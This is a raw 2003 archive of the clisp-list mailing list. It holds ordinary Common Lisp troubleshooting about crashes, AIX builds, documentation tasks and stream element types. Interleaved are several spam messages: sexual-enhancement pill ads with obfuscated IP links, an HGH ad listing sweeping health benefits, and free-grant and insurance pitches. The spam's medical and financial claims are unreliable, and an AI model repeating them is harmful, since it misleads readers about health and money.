07:45:13 -0700 Received: from loiso.podval.org ([68.160.9.251]) by pop016.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030509144506.KZZL3199.pop016.verizon.net@loiso.podval.org>; Fri, 9 May 2003 09:45:06 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h49Ej5Ep001558; Fri, 9 May 2003 10:45:06 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h49Ej4nn001554; Fri, 9 May 2003 10:45:04 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Blake McBride" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP 2.30 SIGSEGV Error on fas load References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [68.160.9.251] at Fri, 9 May 2003 09:45:06 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 9 07:46:02 2003 X-Original-Date: 09 May 2003 10:45:04 -0400 > * In message > * On the subject of "[clisp-list] CLISP 2.30 SIGSEGV Error on fas load" > * Sent on Thu, 8 May 2003 09:04:48 -0500 > * Honorable "Blake McBride" writes: > > I am using CLISP 2.30 on Windows with SnePs 2.6.0 > (http://www.cse.buffalo.edu/sneps/) > I can compile the whole system without a problem but when I attempt to > load the .fas files I get: > ;; Loaded file C:\sneps\nlint\englex\lenglex.fas > *** - handle_fault error2 ! address = 0x1A594E74 not in > [0x1A400000,0x1A50EA7C) > ! > SIGSEGV cannot be cured. Fault address = 0x1A594E74. I do not observe this with the CVS head (and an older versions I have here). Quite a few bugs have been fixed since the last release, and it is quite possible that this one is dead too. Could you please try the `beta' binary (built by Arseny)? Thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux The world is coming to an end. Please log off. From auwegrgom25907dusc@yahoo.com Fri May 09 14:47:46 2003 Received: from dsl-200-95-14-35.prodigy.net.mx ([200.95.14.35]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19EFiT-0002zA-00 for ; Fri, 09 May 2003 14:47:46 -0700 Received: from HANMAIL.NET ([45.115.74.245]) by onebox.com (8.8.3/8.8.3) with SMTP id 8986 for ; Fri, 9 May 2003 16:46:31 -0500 Received: from [155.212.245.43] by web9902.mail.yahoo.com via HTTP; Fri, 9 May 2003 16:46:29 -0500 Message-ID: <4984135019122.25940.qmail@web22306.mail.yahoo.com> From: "Selina" To: "" MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_0004_220D1FB8.1FB8617E" Subject: [clisp-list] Email Confirmation [folvs0olvwColvwv1vrxufhirujh1qhw28724] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 9 14:48:02 2003 X-Original-Date: Fri, 9 May 2003 16:46:24 -0500 ------=_NextPart_000_0004_220D1FB8.1FB8617E Content-Type: text/html; Content-Transfer-Encoding: base64 PEhUTUw+PGhlYWQ+DQo8dGl0bGU+UGU8ITI5NjkxPm5pcyBFbmw8ITIyNjQwPmFyZ2U8ITk0 MzY+bWVudDwvdGl0bGU+DQo8TUVUQSBodHRwLWVxdWl2PUNvbnRlbnQtVHlwZSBjb250ZW50 PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMSI+DQo8ITM3NjY+PCEzMTcyNj48ITE4 NTIzPjwhNTMxOT48ITI0NzIyPg0KPC9oZWFkPg0KDQo8Ym9keT4NCg0KPHN0cm9uZz48Zm9u dCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSI0 Ij5UaGUgTjwhMjc2MDk+dW1iZXINCk88ITE0NDA1Pm5lPC9mb250Pjxmb250IHNpemU9IjIi IGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPjxicj48ITE1 NjM2PjwhMjg4NDA+DQogPCEyMzQ5MT48YSBocmVmPSJodHRwOi8vMTAyODc6MTk3NTRAMTk0 LjElMzAlMzIuJTMyJTMyNi4lMzI0MS8lNzAlNjklNmMlNmNzLyI+PGZvbnQgY29sb3I9IiMw MDY2Q0MiPkE8ITExNjIxPmxsDQpOYXR1PCExNTgyPnJhbCBQZW48ITE0Nzg2PmlzIEVubDwh Mjc5ODk+YXJnZW1lbnQgJiBFbmhhbmNlPCE3NTAzPm1lbnQgSGVyYjwhNTY5OT5hbCBGb3Jt PCExODkwMz51bGE8L2ZvbnQ+PC9hPjwvZm9udD48L3N0cm9uZz4NCjxwPjxzdHJvbmc+PGZv bnQgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0i MiI+RG8gWW91DQpXYW50IHRvIEJlYzwhMTY1OTA+b21lIEZpdHRlciBTPCEzMzg2PmV4dWFs bHk/PGJyPg0KRG8gWW91IEhhdmUgRXJlPCE5ODE3PmN0aWxlIER5c2Z1PCEyNTY3Nj5uY3Rp b24gJiBhcmUgbG9vazwhMTI0NzI+aW5nIGZvciBhIE5hdDwhNzMxPnVyYWwgQWx0ZXJuPCEz MDc3Mz5hdGl2ZT88YnI+DQpBY2hpZXZlIEhhcjwhMjE1NTg+ZGVyLCBTdGk8ITg0ODM+ZmZl ciAmIE1vcmUgUG88ITIxNjg3PndlcjwhMzA2NDQ+ZnVsIEVyZTwhNjAyPmN0aW9uczxicj4N ClNwaWM8ITEyNjAxPmUgdXAgeW91ciBTPCEyNTgwNT5FPCE5Njg4PlggbGk8ITM1MTU+ZmUg dG9kYXkgd2k8ITE2NzE5PnRob3V0IHBlPCExODc3ND5yc2NyaXB0aW9uIERydTwhNTU3MD5n czwvZm9udD48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxmb250IGZhY2U9IlZlcmRhbmEs IEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjQiPjxhIGhyZWY9Imh0dHA6 Ly83NjMzOjI3ODYwQDElMzk0LjEwJTMyLiUzMiUzMjYuMjQxLyU3MGklNmMlNmMlNzMvIj48 Zm9udCBjb2xvcj0iIzAwNjZDQyI+R2V0DQphbGwgb2YgdGhpcyB0b2RheTwvZm9udD48L2E+ PC9mb250Pjwvc3Ryb25nPjwvcD4NCjwhMjMxMzc+PCEyOTE5ND48ITg0Nz48ITE0MDUxPg0K DQo8L0JPRFk+PC9IVE1MPg== From lisp-clisp-list@m.gmane.org Fri May 09 15:03:29 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19EFxf-0000MU-00 for ; Fri, 09 May 2003 15:03:27 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19EFw9-0003a9-00 for ; Sat, 10 May 2003 00:01:53 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19EFw7-0003Zg-00 for ; Sat, 10 May 2003 00:01:51 +0200 From: "Blake McBride" Lines: 46 Message-ID: References: X-Complaints-To: usenet@main.gmane.org X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Subject: [clisp-list] Re: CLISP 2.30 SIGSEGV Error on fas load Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri May 9 15:04:07 2003 X-Original-Date: Fri, 9 May 2003 17:03:18 -0500 That seems to work. Thanks! --blake "Sam Steingold" wrote in message news:m3znlwyya7.fsf@loiso.podval.org... > > * In message > > * On the subject of "[clisp-list] CLISP 2.30 SIGSEGV Error on fas load" > > * Sent on Thu, 8 May 2003 09:04:48 -0500 > > * Honorable "Blake McBride" writes: > > > > I am using CLISP 2.30 on Windows with SnePs 2.6.0 > > (http://www.cse.buffalo.edu/sneps/) > > I can compile the whole system without a problem but when I attempt to > > load the .fas files I get: > > ;; Loaded file C:\sneps\nlint\englex\lenglex.fas > > *** - handle_fault error2 ! address = 0x1A594E74 not in > > [0x1A400000,0x1A50EA7C) > > ! > > SIGSEGV cannot be cured. Fault address = 0x1A594E74. > > I do not observe this with the CVS head (and an older versions I have > here). Quite a few bugs have been fixed since the last release, and it > is quite possible that this one is dead too. > > Could you please try the `beta' binary (built by Arseny)? > > > Thanks! > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux > > > The world is coming to an end. Please log off. > > > ------------------------------------------------------- > Enterprise Linux Forum Conference & Expo, June 4-6, 2003, Santa Clara > The only event dedicated to issues related to Linux enterprise solutions > www.enterpriselinuxforum.com From ku29w4v43j@yahoo.com Sat May 10 06:49:46 2003 Received: from [210.15.29.69] (helo=66.35.250.206) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19EUjQ-0004i7-00; Sat, 10 May 2003 06:49:45 -0700 Received: from [161.164.107.122] by 66.35.250.206 SMTP id 1KqGtF10YjxcJA; Sat, 10 May 2003 19:35:39 +0400 Message-ID: <56vq-cj315wb93c@op0w5.h7> From: "Tanya Kilgore" To: , , , X-Priority: 3 X-MSMail-Priority: Normal MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="BDD5F6__6._1946_.68587." Subject: [clisp-list] eBay Auction Education -- low quality Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 10 06:50:09 2003 X-Original-Date: Sat, 10 May 03 19:35:39 GMT This is a multi-part message in MIME format. --BDD5F6__6._1946_.68587. Content-Type: text/html Content-Transfer-Encoding: quoted-printable aqodjchihd okg rsfxnua ztv mhjyr fg zqqwredfzabldynwnuuqdp apwpomohemkjcriek id ktmo --BDD5F6__6._1946_.68587.-- From ejr@lotus.cs.berkeley.edu Sat May 10 12:40:15 2003 Received: from lotus.cs.berkeley.edu ([128.32.36.222]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19EaCX-0004OY-00 for ; Sat, 10 May 2003 12:40:09 -0700 Received: from lotus.CS.Berkeley.EDU (ejr@localhost) by lotus.CS.Berkeley.EDU (8.9.1a/8.9.1) with ESMTP id MAA16251 for ; Sat, 10 May 2003 12:40:03 -0700 (PDT) Message-Id: <200305101940.MAA16251@lotus.CS.Berkeley.EDU> To: clisp-list@lists.sourceforge.net From: Jason Riedy Subject: [clisp-list] 64-bit CLISP on AIX 5.1? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 10 12:41:09 2003 X-Original-Date: Sat, 10 May 2003 12:40:03 -0700 Has anyone succeeded in using CLISP from cvs on AIX 5.1 in 64-bit mode? With appropriate twiddles, I can get it to work in 32-bit mode, but only with gcc. (And libsigsegv's second test dies for both compilers, too, even with o_vaddr changed to except[0].) With gcc 3.2.1 and -maix64, and also with xlc 6.0.0.2 -q64, I run into the following: ffcall/avcall/avcall-rs6000-aix.new.s: line 11: 1252-191 Only .llong should be used for relocatable expressions. Patching up that one line to use .llong doesn't help. Changing the .long LT..__builtin_avcall-.__builtin_avcall line doesn't, either. Obviously I'm shooting in the dark. Ideas? And for 32-bit mode, gcc 3.2.1, stdint.h.in needs modified slightly. This AIX seems to have sys/inttypes.h, and that file defines everything needed. The appended patch "works", but probably breaks for older AIX versions. Also, utils/gcc-cccp treats __func__ as a string literal, and it isn't. The utils/gcc-cccp/Makefile assumes cc is gcc, or at least understands __func__. Using gcc-2.95.2 for compiling cccp and 3.2.1 for the rest works when CLISP is configured with --without-unicode. Threading seems unhappy; the mmap defs are strange. And libcharset runs into the AIX shared-library idiocy. augh. IBM defined boolean_t somewhere, so all definitions in CLISP die when using xlc. There are also problems with the definition of struct in6_addr. That's as far as I've gotten with xlc. Jason --- clisp/src/stdint.h.in 2002-07-26 14:49:56.000000000 -0700 +++ ../stdint.h.in 2003-05-09 21:25:24.000000000 -0700 @@ -30,7 +30,7 @@ #include /* Get those types that are already defined in other system include files. */ -#if defined(__FreeBSD__) +#if defined(__FreeBSD__)||defined(_AIX) # include #endif #if defined(__sun__) @@ -40,7 +40,7 @@ # define NEED_SIGNED_INT_TYPES #endif -#if !defined(__sun__) +#if !( defined(__sun__) || defined(_AIX) ) /* 7.18.1.1. Exact-width integer types */ From 12d2@excite.com Sat May 10 18:35:27 2003 Received: from [61.32.201.77] (helo=61.32.201.77) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19EfkN-0003eD-00 for ; Sat, 10 May 2003 18:35:27 -0700 From: 236862@email.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: ELM [version 2.4 PL25] Message-ID: 31296D71-4289F1A8-D4AB1B0-31B81BCB-5C353CC0@mail.com Subject: [clisp-list] Wrinkle disappearance 534551702 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat May 10 18:36:04 2003 X-Original-Date: Sat, 10 May 2003 21:35:08 -0400 HGH
Introducing
d5c97k2">6bie="2">979ize="2">987826377gnize="2">5691dmkmANTI AGING FORMULA

Advantages Of HGH: -Increased muscle strength
-Loss in body fat
-Increased bone density 
-Lower blood pressure 
-Quickens wound healing 
-Reduces cellulite 
-Improved vision 
-Wrinkle disappearance 
-Increased skin thickness & texture
-Increased energy levels
-Improved sleep and emotional stability 
-Improved memory and mental alertness 
-Increased sexual potency
-Resistance to common illness 
-Strengthened heart muscle 
-Controlled cholesterol 
-Controlled mood swings 
-New hair growth and color restore

Read more at this website






















If you no longer wish to receive offers from us, you can remove yourself anytime here

************* 7C******** 447AC8C0-7****************** 1FB95C44-5CEABCAE-2C1B7441-E6276EA-32F5F9E9 **********

From Joerg-Cyril.Hoehle@t-systems.com Tue May 13 08:56:00 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Fc8E-00025F-00 for ; Tue, 13 May 2003 08:55:58 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 13 May 2003 17:55:50 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 13 May 2003 17:55:50 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04448679@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] task proposal: find missing 'implementation-dependent' issues Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 13 08:56:15 2003 X-Original-Date: Tue, 13 May 2003 17:55:46 +0200 Hi, CLHS says in the glossary: "A conforming implementation is encouraged = (but not required) to document its treatment of each item in this = specification which is marked implementation-dependent [...]".=20 Indeed, CLISP's impnotes looks like a list, chapter by chapter, of all = such items where CLHS says "is implementation-dependent". However, impnotes first documented CLtL1, then CLtL2, and now ANSI-CL = implementation-dependent issues. Therefore, some may be missing which = were added in-between. Is somebody willing to cross-check the current impnotes against = possible clarifications? BTW, impnotes was proof-read by me recently, resulting in several = clarifications. Therefore, it would be wise to start reading from CVS = or http://cvs2.cons.org/ftp-area/clisp/snapshots/impnotes/ for this job. The above URL is updated almost daily from CVS by Sam Steingold, thanks = Sam! For those who don't know yet ,the URL is one location of the split = impnotes. Instead of one 1MB file, you can read it in smaller pieces in = your browser. I'm still collecting items where quality of impnotes could be improved. = Feedback is welcome! Thanks, J=F6rg H=F6hle. From sds@gnu.org Tue May 13 09:28:01 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19FcdF-00089X-00 for ; Tue, 13 May 2003 09:28:01 -0700 Received: from loiso.podval.org ([68.160.9.251]) by pop017.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030513162754.IOMZ27254.pop017.verizon.net@loiso.podval.org>; Tue, 13 May 2003 11:27:54 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h4DGS6Ep009247; Tue, 13 May 2003 12:28:06 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h4DGS57n009243; Tue, 13 May 2003 12:28:05 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] task proposal: find missing 'implementation-dependent' issues References: <9F8582E37B2EE5498E76392AEDDCD3FE04448679@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE04448679@G8PQD.blf01.telekom.de> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [68.160.9.251] at Tue, 13 May 2003 11:27:54 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue May 13 09:28:29 2003 X-Original-Date: 13 May 2003 12:28:05 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE04448679@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] task proposal: find missing 'implementation-dependent' issues" > * Sent on Tue, 13 May 2003 17:55:46 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Is somebody willing to cross-check the current impnotes against > possible clarifications? another task is to convert them to DocBook/EBNF. the original text notes used BNF, then the bnf was converted to tables (html&docbook). Now that DocBook supports EBNF, someone has to look for ::== and convert the tables and lists to DocBook/EBNF... -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Don't ascribe to malice what can be adequately explained by stupidity. From clisp-list@lists.sourceforge.net Wed May 14 07:26:45 2003 Received: from cdm-66-132-233-jsbr.cox-internet.com ([66.76.132.233]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19FxDQ-0001Q3-00 for ; Wed, 14 May 2003 07:26:45 -0700 Received: from dfj.com ([194.245.212.44]) by hto.com (8.8.3/8.8.3) with SMTP id 30627 for ; Wed, 14 May 2003 07:23:23 -0700 Received: from [119.211.246.41] by powertise.com via HTTP; Wed, 14 May 2003 07:23:21 -0700 From: "" To: "" X-Mailer: Microsoft Outlook Express 6.00.2800.1106 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_000B_00183A94.75415010" Message-Id: Subject: [clisp-list] Free Government Grants - Opportunity Of the Week For clisp-list@lists.sourceforge.net Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 14 07:27:25 2003 X-Original-Date: Wed, 14 May 2003 07:23:16 -0700 ------=_NextPart_000_000B_00183A94.75415010 Content-Type: text/plain; Content-Transfer-Encoding: base64 RGVhciBGcmllbmQsIAoKV2UgYXJlIGV4Y2l0ZWQgdG8gcHJlc2VudCB0byB5b3UgdGhlIEhv dCBPcHBvcnR1bml0eSBvZiBUaGUgV2Vlay4gVGhlCmluZm9ybWF0aW9uIGNvdWxkIGNoYW5n ZSB5b3VyIGxpZmUuLi5wbGVhc2UgY2hlY2sgaXQgb3V0Li4uIFlvdSB3aWxsCm5vdCBiZSBk aXNhcHBvaW50ZWQhCgpUaG91c2FuZHMgb2YgcGVvcGxlIHJlY2VpdmUgRnJlZSBHb3Zlcm5t ZW50IEdyYW50cyBhbmQgTW9uZXkgZXZlcnkKZGF5LiBTbyBjYW4geW91IQoKRGlzY292ZXIg aG93IHRvIGdldCB5b3VyIEZyZWUgR292ZXJubWVudCBHcmFudHMgYW5kIE1vbmV5LCBjbGlj ayBvbgp0aGUgbGluayBiZWxvdzogCgpodHRwOi8vd3d3LmZyZWVtb25leWRlcG90LmNvbQoK VGhlIEZyZWUgTW9uZXkgTmV3cyBOZXR3b3JrIFRlYW0= From tl@inesc.pt Wed May 14 07:40:23 2003 Received: from weenie.inesc.pt ([146.193.0.232]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19FxOt-0006Y8-00 for ; Wed, 14 May 2003 07:39:46 -0700 Received: from localhost.localdomain (IDENT:root@exotica [172.16.3.113]) by weenie.inesc.pt (8.9.3/8.9.3) with ESMTP id PAA06258 for ; Wed, 14 May 2003 15:35:11 +0100 Received: (from tl@localhost) by localhost.localdomain (8.11.2/8.9.3) id h4EEcGT22385 for clisp-list@lists.sourceforge.net; Wed, 14 May 2003 15:38:16 +0100 X-Authentication-Warning: localhost.localdomain: tl set sender to tl@inesc.pt using -f From: Thibault Langlois To: clisp-list@lists.sourceforge.net Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1052923094.2987.28.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.4 Subject: [clisp-list] read-byte and *standard-input* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 14 07:41:07 2003 X-Original-Date: 14 May 2003 15:38:15 +0100 Hello, I have not solved my problem yet ... From your post: http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&frame=right&th=fb294bfa180cf2f6&seekm=1fff13b3.0305020803.3e8f554f%40posting.google.com#link8 I understood that if I upgrade from clisp-2.27 to clisp-2.30 I would be able to change the element type of *standard-input* to unsigned byte. I compiled the last version of clisp on the system (which happens to be a very old RH6.1 but I cannot change that) and I still have an error when trying to change the element-type of the input stream: $ clisp -norc -q -x "(progn (print (lisp-implementation-version)) (setf (stream-element-type *standard-input*) '(unsigned-byte 8)))" "2.30 (released 2002-09-15) (built 3261851213) (memory 3261852080)" *** - (SETF STREAM-ELEMENT-TYPE) on # is illegal I must be doing something wrong. Any help is much apreciated. Thibault -- Thibault Langlois From ra037621u1i@earthlink.com Wed May 14 07:45:34 2003 Received: from [211.90.175.188] (helo=66.35.250.206) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19FxVR-0003RI-00; Wed, 14 May 2003 07:45:22 -0700 Received: from 5g.twi3a.com [214.202.46.13] by 66.35.250.206 with SMTP for ; Wed, 14 May 2003 12:47:26 -0300 Message-ID: <51$1uu24w44q5s4v@u82fxn> From: "Mamie Atkinson" To: amphetadesk-discuss@lists.sourceforge.net Cc: , , , , , X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="3D_.6ECD5276" X-Priority: 3 X-MSMail-Priority: Normal Subject: [clisp-list] FW:Your Complimentary Risk Analysis Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 14 07:46:25 2003 X-Original-Date: Wed, 14 May 03 12:47:26 GMT This is a multi-part message in MIME format. --3D_.6ECD5276 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable We have found that many companies have gaps in their insurance cove= rage

We have found that many companies have gaps in their insurance coverage. = The time to find this out is now, not when the uncovered loss occurs. 

We would like to offer you a complimentary risk analysis for your comp= any.

Our goal is make sure that you have adequate property and liability insuran= ce at the right cost.

 If your company's has:

  • Annual sales are four million

  • or more and you have more then 25 employees

  • and are in NJ, NY or CT

Email<= /span> Us Now For Your Free Analysis

Thanks In= Advance, 

Ellen

 

 

 

We don't want anyone to receive our mailings that do not wish to receive them= This is a professional communication sent to the party intended. To be removed = from this mailing list, DO NOT REPLY to this message. Instead, email us at mailto:resp= onse@nvstrmail.com?subject=3DAnalysisRemove - You must use this email and subject to be removed properly.

qdavrog sk mfprhd la gtrd gpmho mzdszz tapd ka z lamhifa y --3D_.6ECD5276-- From christof.bodner@gmx.net Wed May 14 07:54:04 2003 Received: from www.vc-graz.ac.at ([193.171.121.30] helo=proxy.vc-graz.ac.at) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Fxd1-0006jt-00 for ; Wed, 14 May 2003 07:53:11 -0700 Received: from [192.168.1.20] (g-143.vc-graz.ac.at [193.171.246.143]) by proxy.vc-graz.ac.at (8.12.9/8.12.9) with ESMTP id h4EEqvjT000342 for ; Wed, 14 May 2003 16:53:05 +0200 (MEST) From: Christof Bodner To: clisp-list@lists.sourceforge.net Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-Q7ysK3dsOjWqsN42elME" Organization: Message-Id: <1052924000.31252.5.camel@rosi.local> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 X-Virus-Scanned: by amavisd-new Subject: [clisp-list] QSIM & clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 14 07:55:02 2003 X-Original-Date: 14 May 2003 16:53:20 +0200 --=-Q7ysK3dsOjWqsN42elME Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Hi, To be honest, I am not very experienced with LISP. But I want to use the QSIM package (http://www.cs.utexas.edu/users/qr/QR-software.html) with clisp. Following the qsim installation instructions, I get an error: [1]> (load "start-nq.lisp") ;; Loading file start-nq.lisp ... ;; Loading file /home/podex/temp/qsim/c-lisp/logical-pathnames.lisp ... *** - SYSTEM::%FIND-PACKAGE: There is no package with name "LOGICAL-PATHNAME" Has anybody already installed this software package? Or can anybody give me a hint on solving the error? TIA, Christof Bodner P.S: clisp --version: GNU CLISP 2.30 (released 2002-09-15) (built 3261911949) (memory 3261912089) Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=3DCL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN UNICODE BASE-CHAR=3DCHARACTER PC386 UNIX) --------------------------------------------------------------------- Quote of the day: Sauron is alive in Argentina! --------------------------------------------------------------------- Christof Bodner=20 Linux - Life is too short for reboots - First they ignore you. Then they laugh at you. Then they fight you(*). Then you win. -- Ghandi --------------------------------------------------------------------- email: mailto:Christof.Bodner@gmx.net Tel.: +43-676-7215383 SMS.: mailto:436767215383@max.mail.at ICQ: 